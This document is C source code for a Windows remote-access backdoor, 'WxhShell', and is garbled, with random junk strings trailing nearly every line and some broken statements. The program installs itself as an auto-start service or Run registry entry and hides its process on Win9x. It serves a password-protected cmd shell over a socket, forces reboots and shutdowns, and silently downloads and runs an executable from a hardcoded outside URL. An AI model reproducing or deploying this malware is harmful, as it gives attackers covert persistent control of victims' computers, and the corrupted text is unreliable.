    if(Boot(SHUTDOWN)) Gu2P\I2zx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M;p em<  
    else { /J:bWr  
    closesocket(wsh); V`bi&1?6\  
    ExitThread(0); ^(|vsFzn  
    } SRrw0&ts  
    break; G-?d3 n  
    } Y6Lf@}2(i  
  // 获取shell +(C6#R<LI  
  case 's': { 1Dv R[Lx%  
    CmdShell(wsh); b+f'[;  
    closesocket(wsh); BbgnqzU  
    ExitThread(0); ZE2$I^DY-  
    break; DRc)iE>@  
  } { Fawt:  
  // 退出 IGtl\b=  
  case 'x': { 't6V:X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [$ejp>'Ud  
    CloseIt(wsh); :1iqT)&|8F  
    break; Ee3hG2d`  
    } *X, /7C   
  // 离开 ?ON-+u  
  case 'q': { Z| V`B `  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _ B 5gR  
    closesocket(wsh); 'rr^2d]`ST  
    WSACleanup(); IaT$ 6\>  
    exit(1); lhw()u  
    break; lhw ,J]0*  
        } ]Yvga!S"C  
  } F$hY KT2|  
  } kn>$lTHQ  
yq NzdzX  
  // 提示信息 RW}"2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k31I ysh  
} j'BMAn ?  
  } rORZerM  
2c:#O%d(  
  return; k}0^&Quc4  
} FN%m0"/Z{t  
E Kz'&Gu  
// shell模块句柄  R#DwF,  
int CmdShell(SOCKET sock) 8G5m{XTS(  
{ ^4`Px/&  
STARTUPINFO si; * C6a?]  
ZeroMemory(&si,sizeof(si)); sSQs#+ &=[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A%{W{UP8N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n Ml%'[u  
PROCESS_INFORMATION ProcessInfo; 6^c>,.R  
char cmdline[]="cmd"; !Wy[).ZAf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }LijnHH.  
  return 0; IW% |G  
} 4)<~4 '  
@bnG:np  
// 自身启动模式 z ly unJD(  
int StartFromService(void) pIKSs<IP  
{ ?&^?-S% p  
typedef struct bgK<pi)d  
{ Xe^Cn R  
  DWORD ExitStatus; OHflIeq#@  
  DWORD PebBaseAddress; )5.C]4jol  
  DWORD AffinityMask; 1<<kA:d  
  DWORD BasePriority; Vm|Y$ C  
  ULONG UniqueProcessId; p*8-W(u)  
  ULONG InheritedFromUniqueProcessId; 3tmdi3s  
}   PROCESS_BASIC_INFORMATION; 3w!c`;c%  
f(eQ+0D  
PROCNTQSIP NtQueryInformationProcess; V&|!RxWK  
"aFhkPdWn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F>X-w+b4r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P/ oXDI8  
Fbp{,V@F2  
  HANDLE             hProcess; Y=T'WNaL)0  
  PROCESS_BASIC_INFORMATION pbi; c0Dmq)HK?  
 P N*JR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q,2]5 '  
  if(NULL == hInst ) return 0; )*5G">))p  
2nFy`|aA%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); nSCWg=E^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oQ7]= |  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pfd#N[c  
H\GkW6  
  if (!NtQueryInformationProcess) return 0; Kwhdu<6  
o."rxd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a0*2) uL}  
  if(!hProcess) return 0; Q#Y k?Kv~  
4{qB X?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K+T .o6+  
=_[Z W  
  CloseHandle(hProcess); 1|?K\B  
3qQUpm+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {$M;H+Foh  
if(hProcess==NULL) return 0; D0;tcm.$  
U4Nh  
HMODULE hMod; M3zDtN  
char procName[255]; 0 3~Ikll  
unsigned long cbNeeded; 1IgHc.s  
WjMS5^ _  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,eQ[Fi!!  
d/7lefF  
  CloseHandle(hProcess); &gc `<kLu  
9zgNjjCl]  
if(strstr(procName,"services")) return 1; // 以服务启动 <3hA!$o~  
,PWj_}|L[  
  return 0; // 注册表启动 yZJ*dadAr  
} #3kXmeyrD  
{Ts:ZI+ 8d  
// 主模块 CQODXB^  
int StartWxhshell(LPSTR lpCmdLine) !5x Ly6=}  
{ A6ewdT?>,  
  SOCKET wsl; ]#<  
BOOL val=TRUE; _ ^7|!(Sz  
  int port=0; /'y5SlE[J  
  struct sockaddr_in door; fY2wDD  
|t\|:E>" }  
  if(wscfg.ws_autoins) Install(); )%du@a8  
"uu)2Xe  
port=atoi(lpCmdLine); hbuZaxo<  
4Y tk!oS`  
if(port<=0) port=wscfg.ws_port; GH'O! }  
N_C_O$j  
  WSADATA data; L)-*,$#<oW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Nm8w/Q5D`  
~,}s(`~   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^i<}]c_|f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]5|z3<K^  
  door.sin_family = AF_INET; p27p~b&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \Tq "mw9P  
  door.sin_port = htons(port); "@/ba!L+  
Bt>}LLBS2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (Cj,\r  
closesocket(wsl); sT<{SmBF  
return 1; j%M @#  
} <q7s`,rG  
NyJnOw(  
  if(listen(wsl,2) == INVALID_SOCKET) { xbC~ C~#  
closesocket(wsl); !cCg/  
return 1; *5wv%-  
} Qp&?L"U)2  
  Wxhshell(wsl); F7 uhuqA]N  
  WSACleanup(); E:Y:X~vy  
onzA7Gre  
return 0; ChIoR:y>  
Za\RM[Z!I  
} a R#Cot  
p#b{xK  
// 以NT服务方式启动 #D:RhqjK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4GTrI@}3  
{ -~'kP /E^  
DWORD   status = 0; gY\mXM*^  
  DWORD   specificError = 0xfffffff; [ i9[Mj  
9&(.x8d,a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ork|yj/A  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ")\ *2d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !'PlDGD  
  serviceStatus.dwWin32ExitCode     = 0; (q k5f`O  
  serviceStatus.dwServiceSpecificExitCode = 0; sVD([`Nmc  
  serviceStatus.dwCheckPoint       = 0; -t b;igv  
  serviceStatus.dwWaitHint       = 0; *C/KM;&  
`g8tq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (\q[gyR  
  if (hServiceStatusHandle==0) return; &`sR){R  
W[ "HDR  
status = GetLastError(); HtS#_y%(  
  if (status!=NO_ERROR) .6I%64m  
{ }Y$VB%&Hy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +TWJNI  
    serviceStatus.dwCheckPoint       = 0; 1Y2a* J  
    serviceStatus.dwWaitHint       = 0; " V/k<HRw  
    serviceStatus.dwWin32ExitCode     = status; -sD:+Te  
    serviceStatus.dwServiceSpecificExitCode = specificError; xF^r`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YL!oF^XO  
    return; 1[# =,  
  } vy:6_  
;9Hz{ej  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {8W |W2o$!  
  serviceStatus.dwCheckPoint       = 0; n_ OUWvs  
  serviceStatus.dwWaitHint       = 0; 34]%d<;A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H|'$dO)W  
} rcpvH}N:  
@)06\ h  
// 处理NT服务事件,比如:启动、停止 00R%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hiT9H5 6 >  
{ (''$' 5~  
switch(fdwControl) F}\[eFf[  
{ 79y'Ja+`j  
case SERVICE_CONTROL_STOP: ~ 6TfW~V  
  serviceStatus.dwWin32ExitCode = 0; ta2z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #NSaY+V  
  serviceStatus.dwCheckPoint   = 0; UYl JO{|a  
  serviceStatus.dwWaitHint     = 0; "P9wT)J_  
  { <`^>bv9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >2*6qx>V  
  } 1Q3%!~<\s  
  return; c M|af#o  
case SERVICE_CONTROL_PAUSE: NN?Bi=&9  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; REeD?u j  
  break;  W\zL  
case SERVICE_CONTROL_CONTINUE: 5LnB]dW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m  mw)C"  
  break; !: `Ra  
case SERVICE_CONTROL_INTERROGATE: C&qDvvk  
  break; 7~QwlU3n<F  
}; U* c{:K-C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +K @J*W 1  
} \:18Uoe7  
ZnxOa  
// 标准应用程序主函数 +U c&%Px  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D z]}@Z*jK  
{ oc,U4+T  
NiU tH  
// 获取操作系统版本 RJ7/I/yD|  
OsIsNt=GetOsVer(); c9/ 'i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ahz@HX  
:ok!,QN  
  // 从命令行安装 %K/G+  
  if(strpbrk(lpCmdLine,"iI")) Install(); C=pPI  
O=9VX  
  // 下载执行文件 \5v=pDd4g  
if(wscfg.ws_downexe) { p3'mJ3MA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XJV3oj   
  WinExec(wscfg.ws_filenam,SW_HIDE); HtS1N}@  
} tS*^}e*  
[ a65VR~J  
if(!OsIsNt) { }rb ]d'|  
// 如果时win9x,隐藏进程并且设置为注册表启动 :9O0?6:B|  
HideProc(); 2e D\_IW  
StartWxhshell(lpCmdLine); 8[{0X4y3  
} S'H0nJ3  
else lpX p )r+  
  if(StartFromService()) { <ao4w6B  
  // 以服务方式启动  *<h  
  StartServiceCtrlDispatcher(DispatchTable); N!4xP.Ps  
else SS<+fWXE  
  // 普通方式启动 \c@qtIc  
  StartWxhshell(lpCmdLine); QP-<$P;~  
=.=. \K  
return 0; 8b#Yd  
} ~Hs]}Xo  
`peJ s~V  
r~B Qy'  
}C2i#;b  
=========================================== _bV=G#qKK  
*#{.\R-D  
u=UM^C!  
{G*:N[pJp  
C?c-V,  
g)G7 kB/<p  
" ~uD;_Y=u)r  
V{^fH6;[  
#include <stdio.h> N55=&-p  
#include <string.h> Pc-8L]2oaF  
#include <windows.h> 7!840 :a?+  
#include <winsock2.h> E*b[.vUp  
#include <winsvc.h> UDi3dH=  
#include <urlmon.h> m$UT4,Ol  
%TggNU,  
#pragma comment (lib, "Ws2_32.lib") 0tL/:zID  
#pragma comment (lib, "urlmon.lib") KUqS(u  
7JwWM2N?V  
#define MAX_USER   100 // 最大客户端连接数 >wm$,%zk  
#define BUF_SOCK   200 // sock buffer i3WmD@  
#define KEY_BUFF   255 // 输入 buffer bOGDz|H``  
g~["O!K3  
#define REBOOT     0   // 重启 :XY3TI  
#define SHUTDOWN   1   // 关机 {%k;V ~  
>-o:> 5  
#define DEF_PORT   5000 // 监听端口 %v)'`|i  
Wjk;"_"gd  
#define REG_LEN     16   // 注册表键长度 $u.T1v  
#define SVC_LEN     80   // NT服务名长度 s!!t  
RV*Zi\-X  
// 从dll定义API >!p K94  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jmzvp6N$8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a ^/20UFq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F"TI 9ib  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~\IDg/9 Cj  
Sqt"G6<  
// wxhshell配置信息  Kj|F  
struct WSCFG { \4X{\ p<  
  int ws_port;         // 监听端口 T.dO0$,Q@$  
  char ws_passstr[REG_LEN]; // 口令 >-+X;0&  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ntrn("!  
  char ws_regname[REG_LEN]; // 注册表键名 hQx e0Pdt  
  char ws_svcname[REG_LEN]; // 服务名 zO]dQ$r\Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 k<hO9;#qpL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6oBt<r?CJ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s'=]a-l~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Q>*K/%KD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LKY Q?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AG0x)  
NdQ?3'WJ  
}; ^Wz{su2  
'Em($A (  
// default Wxhshell configuration dju{&wo~4  
struct WSCFG wscfg={DEF_PORT, 5X-{|r3q  
    "xuhuanlingzhe", '(>N gd[  
    1, JPzPL\  
    "Wxhshell", 3Ab$  
    "Wxhshell", 1'B?f# s  
            "WxhShell Service", rvO+=Tk  
    "Wrsky Windows CmdShell Service", +y#979A,  
    "Please Input Your Password: ", UG$i5PV%i  
  1, v1rGq  
  "http://www.wrsky.com/wxhshell.exe", >s~`K^zS  
  "Wxhshell.exe" zg"ZXZ  
    }; ArM e[t0$  
@@&;gWr;  
// 消息定义模块 -fn~y1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )[.URp&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9r}} m0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c6.|; 4  
char *msg_ws_ext="\n\rExit."; ,)8Hl[y  
char *msg_ws_end="\n\rQuit."; a r%Rr"  
char *msg_ws_boot="\n\rReboot..."; y.OUn'^d4  
char *msg_ws_poff="\n\rShutdown..."; [rem,i+  
char *msg_ws_down="\n\rSave to "; _uacpN/<|  
ymu#u   
char *msg_ws_err="\n\rErr!"; \!Pm^FD .  
char *msg_ws_ok="\n\rOK!"; T8k oP  
e9nuQ\=  
char ExeFile[MAX_PATH]; EY(4 <;)  
int nUser = 0; {fs(+ 0ei  
HANDLE handles[MAX_USER]; c$TBHK;c  
int OsIsNt; 4`B:Mq&j  
A,@"(3  
SERVICE_STATUS       serviceStatus; {Gy_QRsp,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +`xp+Q  
Q&7Qht:ea:  
// 函数声明 K":- zS  
int Install(void); L[IjzxUv  
int Uninstall(void);  =#8J9  
int DownloadFile(char *sURL, SOCKET wsh); `,TPd ~#~  
int Boot(int flag); 2H4+D)  
void HideProc(void); Yh"R#  
int GetOsVer(void); LM0 TSB?  
int Wxhshell(SOCKET wsl); DT_012 z  
void TalkWithClient(void *cs); NmK%k jCx  
int CmdShell(SOCKET sock); #~(@Ka.eA0  
int StartFromService(void); )5&Wt@7Kj`  
int StartWxhshell(LPSTR lpCmdLine); |Y:T3hra61  
x%LWcT/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bvZmo zbD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O>H4hp  
}**^ g:  
// 数据结构和表定义 5JQq?e)n  
SERVICE_TABLE_ENTRY DispatchTable[] =  Zuwd(q  
{ v)BUt,A  
{wscfg.ws_svcname, NTServiceMain}, T< P4+#JK  
{NULL, NULL} >C@fSmnOM  
}; obUh+9K  
vrh}X[JEw'  
// 自我安装 m_oBV|v{  
int Install(void)  RtK/bUa  
{ L[<MBgF Kv  
  char svExeFile[MAX_PATH]; %xL3=4\  
  HKEY key; VAV@Qn  
  strcpy(svExeFile,ExeFile); iQ~cG[6  
bSBI[S  
// 如果是win9x系统,修改注册表设为自启动  ,8@@r7  
if(!OsIsNt) { HH8a"Hq)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0W#.$X5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4{*K%pv\  
  RegCloseKey(key); H`m| R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { to+jQ9q8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DH @*Oz-  
  RegCloseKey(key); o KX!{  
  return 0; >L)Xyq  
    } 6<FJ`l]U9  
  } [K%J t  
} dEns|r  
else { uflp4_D   
^i#F+Q`1  
// 如果是NT以上系统,安装为系统服务 h?fv:^vSi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); liPUK#  
if (schSCManager!=0) n(-XI&Kn  
{ 'N0d==aI  
  SC_HANDLE schService = CreateService 4e1Zyi!  
  ( B3e{'14  
  schSCManager, ?5"~V^L3  
  wscfg.ws_svcname, A.*}<  
  wscfg.ws_svcdisp, ?zKDPBj  
  SERVICE_ALL_ACCESS, cD]{ Nn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ppfBfMX  
  SERVICE_AUTO_START, |Ax~zk;  
  SERVICE_ERROR_NORMAL, (N0G[(>  
  svExeFile, (H0nO7Bk  
  NULL, :1=mNrg  
  NULL, ;&?NuK  
  NULL, 1/JgirVA  
  NULL, zEpcJHI%  
  NULL oF)+f4  
  ); d|w% F=  
  if (schService!=0) 5(tOQ%AQ  
  { Z Oyq{w!2  
  CloseServiceHandle(schService); $yHlkd`Y  
  CloseServiceHandle(schSCManager); bY&s $Ry3"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); HmAA?J}  
  strcat(svExeFile,wscfg.ws_svcname); mvlK ~c8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0:Ak 4L6k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }vPDCUZ  
  RegCloseKey(key); _hM3p  
  return 0; \{P(s:  
    } hA/K>Z  
  } mdtq-v  
  CloseServiceHandle(schSCManager); x$?{)EY  
} 1j9.Q;9  
} TCv}N0  
0r.*7aXu  
return 1; f'TdYG  
} Nq"/:3@4  
VD<W  
// 自我卸载 *3s4JK  
int Uninstall(void) {xMY2I++  
{ Ck/4h Z  
  HKEY key; YJ_LD6PL9  
eICk}gfun  
if(!OsIsNt) { ZH~T'Bg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sz.jv#Y  
  RegDeleteValue(key,wscfg.ws_regname); K #}DXq  
  RegCloseKey(key); a)`b;]+9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F]q pDv  
  RegDeleteValue(key,wscfg.ws_regname); )?:V5UO\  
  RegCloseKey(key); ezY _7  
  return 0; !dv  
  } mh2t ' O  
} R]0awV1b  
} ;%"UZ~]f  
else { %S]H  
EX~ U(JB6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p%jl-CC1  
if (schSCManager!=0) f|cd_?|  
{ tq8B)<(]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a<B[ ~J4i  
  if (schService!=0) ?PO~$dUc]  
  { D ?1$I0=  
  if(DeleteService(schService)!=0) { ?J<Y]  
  CloseServiceHandle(schService); >sv|  
  CloseServiceHandle(schSCManager); QU2\gAM  
  return 0; I!%T!B540  
  } =cs;avtL  
  CloseServiceHandle(schService); ):   
  } )c b e 4  
  CloseServiceHandle(schSCManager); 2M3.xUS  
} x JQde 4  
} (Eq0 |"cj  
GU8b_~Gk?  
return 1; rDX_$,3L  
} g>_lU vSE  
s? @{  
// 从指定url下载文件 lX/6u E_%  
int DownloadFile(char *sURL, SOCKET wsh) }#ZQ\[  
{ -o#HO_9  
  HRESULT hr; zRbooo{N  
char seps[]= "/"; _Pjo9z 9  
char *token; -9Wx;u4]o  
char *file; &~ QQZ]q6  
char myURL[MAX_PATH]; Z"<aS&GH  
char myFILE[MAX_PATH]; US A!N  
6TvlK*<r=  
strcpy(myURL,sURL); (9]`3^_,J  
  token=strtok(myURL,seps); `c ~Va/Yi  
  while(token!=NULL) lG;RfDI-  
  { RUC V!L  
    file=token; X[\b!<C  
  token=strtok(NULL,seps); ,'?%z>RZm  
  } 3 [: x#r  
a1R2ocC  
GetCurrentDirectory(MAX_PATH,myFILE); L!x7]g,^  
strcat(myFILE, "\\"); Mt(wy%{zK  
strcat(myFILE, file); Z;M]^?  
  send(wsh,myFILE,strlen(myFILE),0); -Qgu 6Ty  
send(wsh,"...",3,0); -K hXb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qMD6LWJ  
  if(hr==S_OK) Kf2Ob 1  
return 0; -&I%=0q  
else n0q5|ES  
return 1; v _?0|Ei[  
y Dg  
} i$gm/ZO  
Y0fX\6=h  
// 系统电源模块 o_ka'|  
int Boot(int flag) ]S4TX  
{ e@"1W  
  HANDLE hToken; _\waA^ F  
  TOKEN_PRIVILEGES tkp; t"k6wv;Tq  
":E 7#9  
  if(OsIsNt) { 8mI eW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P -0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w|!>>W6J  
    tkp.PrivilegeCount = 1; fx(^}e  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2V %si6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j_Pt8{[  
if(flag==REBOOT) { :bFCnV`Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [<`K%1GQ  
  return 0; ;Nf5,D.D  
} [u\E*8  
else { Sd/?xyF1(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @9~a3k|  
  return 0; }mQ7N&cC  
} EEFM1asJf  
  } !N:!x[5  
  else { }la\?I  
if(flag==REBOOT) { J4 [7*v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x LR 2H>B}  
  return 0; )\#w=P  
} ][3H6T!ckL  
else { H1X38  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8?#4<4Ql8  
  return 0; !dQG 5v  
} j]th6  
} &TYTeJ]  
O|j(CaF  
return 1; 1sx@Nvlb  
} Si#I^aF`%  
A_3V1<J`]  
// win9x进程隐藏模块 nI4Kuz`dF  
void HideProc(void) F|p&v7T  
{ pJ35M  
|hms'n0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *ub]M3O  
  if ( hKernel != NULL ) [r,a0s  
  { z%-Yz- G9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tSX<^VER7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d l_ h0  
    FreeLibrary(hKernel); ArWMbT>Zqw  
  } vf6_oX<Os  
PqV9k,5f  
return; =kvfe" N0e  
} q SR\=:$  
?blF6Kl$  
// 获取操作系统版本 hu}`,2  
int GetOsVer(void) &4 Py  
{ zUX%$N+w}>  
  OSVERSIONINFO winfo; R gY-fc0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); '.Iz*%"  
  GetVersionEx(&winfo); 7u[U%yd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zAT7 ^q^  
  return 1; IvuKpX>*  
  else rg Gm[SL*<  
  return 0; {A2EGUmF2  
} 7)&}riQ  
*Ju$A  
// 客户端句柄模块 B-Bgk  
int Wxhshell(SOCKET wsl) ~uqpF-.  
{ &+V6mH9m@  
  SOCKET wsh; hBb&-/  
  struct sockaddr_in client; g/Q"%GN,  
  DWORD myID; #oBMA  
eeKErpj8A  
  while(nUser<MAX_USER) ?,G CR1|4  
{ 7&oT} Z  
  int nSize=sizeof(client); wz1fx>Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /ZC/yGdIS_  
  if(wsh==INVALID_SOCKET) return 1; ! 6y<jJ>  
tQ!p<Q= $)  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %eJolztKZ  
if(handles[nUser]==0) JjBG9Rp{  
  closesocket(wsh); I+nKaN+8i  
else ,w>WuRN"  
  nUser++; j1/.3\  
  } `qP <S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >q W_%  
l!r2[T]I@7  
  return 0; z1wJ-l  
} _H[LUl9  
-M]NdgI  
// 关闭 socket %:61@<  
void CloseIt(SOCKET wsh) b*C\0D  
{ k^A17Nf`2  
closesocket(wsh); %N((p[\H  
nUser--; y3!r;>2k=  
ExitThread(0); .M Ni)+  
} D@jG+k-Lm  
;%-f>'KhI7  
// 客户端请求句柄 +7yirp~`K  
void TalkWithClient(void *cs) -e#~CE-  
{ 8:W," "  
f~U~f}Uw4  
  SOCKET wsh=(SOCKET)cs; a4'KiA2r  
  char pwd[SVC_LEN]; UNx|+  
  char cmd[KEY_BUFF]; /-Saz29f^Q  
char chr[1]; 4J#F;#iA  
int i,j; jg2 UX   
93Z/|7  
  while (nUser < MAX_USER) { '. Ww*N  
x3./  
if(wscfg.ws_passstr) { rL{3O4O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $!~R'N c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <n8K"(sy}  
  //ZeroMemory(pwd,KEY_BUFF); OR{<)L  
      i=0; !v^{n+  
  while(i<SVC_LEN) { , `4chD  
1|]IWX|  
  // 设置超时 5AX AIPn)  
  fd_set FdRead; _G$SA-W(  
  struct timeval TimeOut; G~$.Af!9W  
  FD_ZERO(&FdRead); x2q6y  
  FD_SET(wsh,&FdRead); A`|Z2  
  TimeOut.tv_sec=8; X@ zw;Se  
  TimeOut.tv_usec=0; " Bz\<e&u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |rjHH<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Iq76JJuCb  
li!3bv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nRP|Qt7>  
  pwd=chr[0]; #3b_ #+,  
  if(chr[0]==0xd || chr[0]==0xa) { :K:oH}4oh  
  pwd=0; 3K8#,TK3  
  break; dC&OjBQ  
  } HDmjt+3&n  
  i++; !ucHLo3:  
    } ^M:Y$9r_s  
b" Z$?5  
  // 如果是非法用户,关闭 socket *3uBS2Ld  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -<g&U*/E  
} _T96.~Q  
{D6p?TL+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ce3UB~Q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jOkc'  
R6(sWN-  
while(1) { @3^D[  
PRdyc+bf  
  ZeroMemory(cmd,KEY_BUFF); $ \yZ;Z:  
 wZ(H[be  
      // 自动支持客户端 telnet标准   ~pZ<VH;h  
  j=0; P{bRRn4Z  
  while(j<KEY_BUFF) { [NxC7p:Lo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _#dBcEH[  
  cmd[j]=chr[0]; 6-fdfU  
  if(chr[0]==0xa || chr[0]==0xd) { Bf21u 9  
  cmd[j]=0; TR<M3,RG#%  
  break; VRb+-T7"  
  } -ho%9LW%|  
  j++; `{Jo>L .  
    } ?Z0NHy;5  
@QN(ouqQ  
  // 下载文件 Qm"&=<  
  if(strstr(cmd,"http://")) { wHT]&fZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |]Eli%mNe  
  if(DownloadFile(cmd,wsh)) 18HmS>Qo  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  &Hi;>  
  else TQ,KPf$0U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }fV+Kd$CB  
  } +W%3VV$  
  else { anzt;V.;Y  
5r)]o'? s  
    switch(cmd[0]) { nI es}n:  
  ^vY[d]R _\  
